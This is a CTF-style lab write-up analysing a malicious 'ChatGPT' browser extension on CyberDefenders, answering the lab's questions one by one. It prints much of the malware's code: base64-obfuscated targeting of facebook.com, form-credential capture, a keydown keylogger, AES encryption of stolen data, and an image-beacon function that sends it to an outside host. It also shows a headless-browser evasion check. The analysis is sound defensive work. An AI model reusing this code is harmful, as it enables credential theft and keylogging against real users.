CyberDefenders: FakeGPT Lab

The following writeup is for FakeGPT hosted on CyberDefenders, it involves investigating a browser extension.

Scenario: Your cybersecurity team has been alerted to suspicious activity on your organisation's network. Several employees reported unusual behaviour in their browsers after installing what they believed to be a helpful browser extension named "ChatGPT". However, strange things started happening: accounts were being compromised, and sensitive information appeared to be leaking.

Which encoding method does the browser extension use to obscure target URLs, making them more difficult to detect during analysis?

One of the recommended tools to use is ExtAnalysis, which is a browser extension analysis tool.

```
remnux@remnux:~/Downloads$ git clone https://github.com/Tuhinshubhra/ExtAnalysis
Cloning into 'ExtAnalysis'...
remote: Enumerating objects: 778, done.
remote: Counting objects: 100% (159/159), done.
remote: Compressing objects: 100% (43/43), done.
remote: Total 778 (delta 118), reused 119 (delta 116), pack-reused 619 (from 1)
Receiving objects: 100% (778/778), 10.31 MiB | 3.74 MiB/s, done.
Resolving deltas: 100% (334/334), done.
remnux@remnux:~/Downloads$ cd ExtAnalysis
remnux@remnux:~/Downloads/ExtAnalysis$ pip3 install -r requirements.txt
```

Once you have installed the tool, all you need to do is run python3 extanalysis.py –help to see the help menu:

```
remnux@remnux:~/Downloads/ExtAnalysis$ python3 extanalysis.py --help
usage: extanalysis.py [-h HOST] [-p PORT] [-v] [-u] [-q] [-n] [--help]

optional arguments:
  -h HOST, --host HOST  Host to run ExtAnalysis on. Default host is 127.0.0.1
  -p PORT, --port PORT  Port to run ExtAnalysis on. Default port is 13337
  -v, --version         Shows version and quits
  -u, --update          Checks for update
  -q, --quiet           Quiet mode shows only errors on cli!
  -n, --nobrowser       Skips launching a web browser
  --help                Shows this help menu and exits
```

To run the tool with the default configuration, enter the following command:

```
remnux@remnux:~/Downloads/ExtAnalysis$ python3 extanalysis.py

    => Browser Extension Analysis |___| Framework
    => Version 1.0.5 By r3dhax0r


[i] Created empty reports file
[!] Virustotal api was not specified... Files won't be scanned
[i] Creating lab directory: /home/remnux/Downloads/ExtAnalysis/lab

[~] Starting ExtAnalysis at: http://127.0.0.1:13337


WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Serving Flask app 'ExtAnalysis - Browser Extension Analysis Toolkit'
 * Debug mode: off
[i] Accessed Main page
```

Then all you need to do is upload the zip file and click the analyse button. This took a while, so in the meantime I just ended up using crxviewer:

```
filter (regex) ! file search        Images 1   Code 3   Markup 1   Locales   Misc 1

213-FakeGPT/Lab/app.js              1947 B     Show download  Show analysis  Go to line  Show original code  ▲  ▼  H
213-FakeGPT/Lab/crypto.js            371 B
213-FakeGPT/Lab/img.GIF              141 KB     1. (function() {
213-FakeGPT/Lab/loader.js            811 B      2.     var _0xabc1 = function(_0x321a) {
213-FakeGPT/Lab/manifest.json        547 B      3.         return _0x321a;
213-FakeGPT/Lab/ui.html              301 B      4.     };
                                +    145 KB     5.     var _0x5eaf = function(_0x5fa1) {
                                                6.         return btoa(_0x5fa1);
                                                7.     };
                                                8.
                                                9.     const targets = [_0xabc1('d3d3LmZhY2Vib29rLmNvbQ==')];
                                               10.     if (targets.indexOf(window.location.hostname) !== -1) {
                                               11.         document.addEventListener('submit', function(event) {
                                               12.             let form = event.target;
                                               13.             let formData = new FormData(form);
                                               14.             let username = formData.get('username') || formData.get('email');
                                               15.             let password = formData.get('password');
```

As you can see in the targets array, we have a base64 encoded link, therefore base64 is the answer.

Which website does the extension monitor for data theft, targeting user accounts to steal sensitive information?

The decoded string found in the app.js file is:

Input

```
d3d3LmZhY2Vib29rLmNvbQ==
```

24 1

Output

```
www.facebook.com
```

Which type of HTML element is utilised by the extension to send stolen data?


```
function sendToServer(encryptedData) {
    var img = new Image();
    img.src = 'https://Mo.Elshaheedy.com/collect?data=' + encodeURIComponent(encryptedData);
    document.body.appendChild(img);
}
```

What is the first specific condition in the code that triggers the extension to deactivate itself?

navigator.plugins.length === 0

```
if (navigator.plugins.length === 0 || /HeadlessChrome/.test(navigator.userAgent)) {
    alert("Virtual environment detected. Extension will disable itself.");
    chrome.runtime.onMessage.addListener(() => {
        return false;
    });
}
```

This was found in the loader.js file.

Which event does the extension capture to track user input submitted through forms?

submit:

```
const targets = [_0xabc1('d3d3LmZhY2Vib29rLmNvbQ==')];
if (targets.indexOf(window.location.hostname) !== -1) {
    document.addEventListener('submit', function(event) {
        let form = event.target;
        let formData = new FormData(form);
        let username = formData.get('username') || formData.get('email');
        let password = formData.get('password');

        if (username && password) {
            exfiltrateCredentials(username, password);
        }
    });

    document.addEventListener('keydown', function(event) {
        var key = event.key;
        exfiltrateData('keystroke', key);
    });
}
```

Which API or method does the extension use to capture and monitor user keystrokes?

keydown:

```
    document.addEventListener('keydown', function(event) {
        var key = event.key;
        exfiltrateData('keystroke', key);
    });
}
```

What is the domain where the extension transmits the exfiltrated data?

Mo.Elshaheedy.com

```
function sendToServer(encryptedData) {
    var img = new Image();
    img.src = 'https://Mo.Elshaheedy.com/collect?data=' + encodeURIComponent(encryptedData);
    document.body.appendChild(img);
}
```

Which function in the code is used to exfiltrate user credentials, including the username and password?

exfiltrateCredentials(username, password);

```
        if (username && password) {
            exfiltrateCredentials(username, password);
        }
    });

    document.addEventListener('keydown', function(event) {
        var key = event.key;
        exfiltrateData('keystroke', key);
    });
}

function exfiltrateCredentials(username, password) {
    const payload = {
        user: username,
        pass: password,
        site: window.location.hostname
    };
    const encryptedPayload = encryptPayload(JSON.stringify(payload));
    sendToServer(encryptedPayload);
}
```

Which encryption algorithm is applied to secure the data before sending?

We can see that AES is being used to encrypt the data:

```
function encryptPayload(data) {
    const key = CryptoJS.enc.Utf8.parse('SuperSecretKey123');
    const iv = CryptoJS.lib.WordArray.random(16);
    const encrypted = CryptoJS.AES.encrypt(data, key, {
        iv: iv
    });
    return iv.concat(encrypted.ciphertext)
        .toString(CryptoJS.enc.Base64);
}
```

What does the extension access to store or manipulate session-related data and authentication information?

In the manifest,json file, we can see that the extension has permissions to access cookies, therefore the answer is cookies:

213-FakeGPT/Lab/app.js	1947 B
213-FakeGPT/Lab/crypto.js	371 B
213-FakeGPT/Lab/img.GIF	141 KB
213-FakeGPT/Lab/loader.js	811 B
213-FakeGPT/Lab/manifest.json	547 B
213-FakeGPT/Lab/ui.html	301 B
+	145 KB

Show download | Show analysis | Go to line | Show original code | ▲ | ▼ | H

```
1. {
2.     "manifest_version": 2,
3.     "name": "ChatGPT",
4.     "version": "1.0",
5.     "description": "An AI-powered assistant extension.",
6.     "permissions": [
7.         "tabs",
8.         "http://*/*",
9.         "https://*/*",
10.        "storage",
11.        "webRequest",
12.        "webRequestBlocking",
13.        "cookies"
14.    ],
15.    "background": {
16.        "scripts": [
17.            "system/loader.js"
18.        ],
19.        "persistent": true
20.    },
21.    "content_scripts": [
22.        {
23.            "matches": [
24.                "<all_urls>"
25.            ],
26.            "js": [
27.                "core/app.js"
28.            ]
29.        }
30.    ],
31.    "browser_action": {
32.        "default_popup": "assets/ui.html"
33.    }
34. }
```

This was my first ever experience investigating a malicious browser extension. It was really enjoyable to do something different and use a suite of tools I have never even heard of. Unfortunately ExtAnalysis took too long (or wasn't working) and therefore I did not end up using it.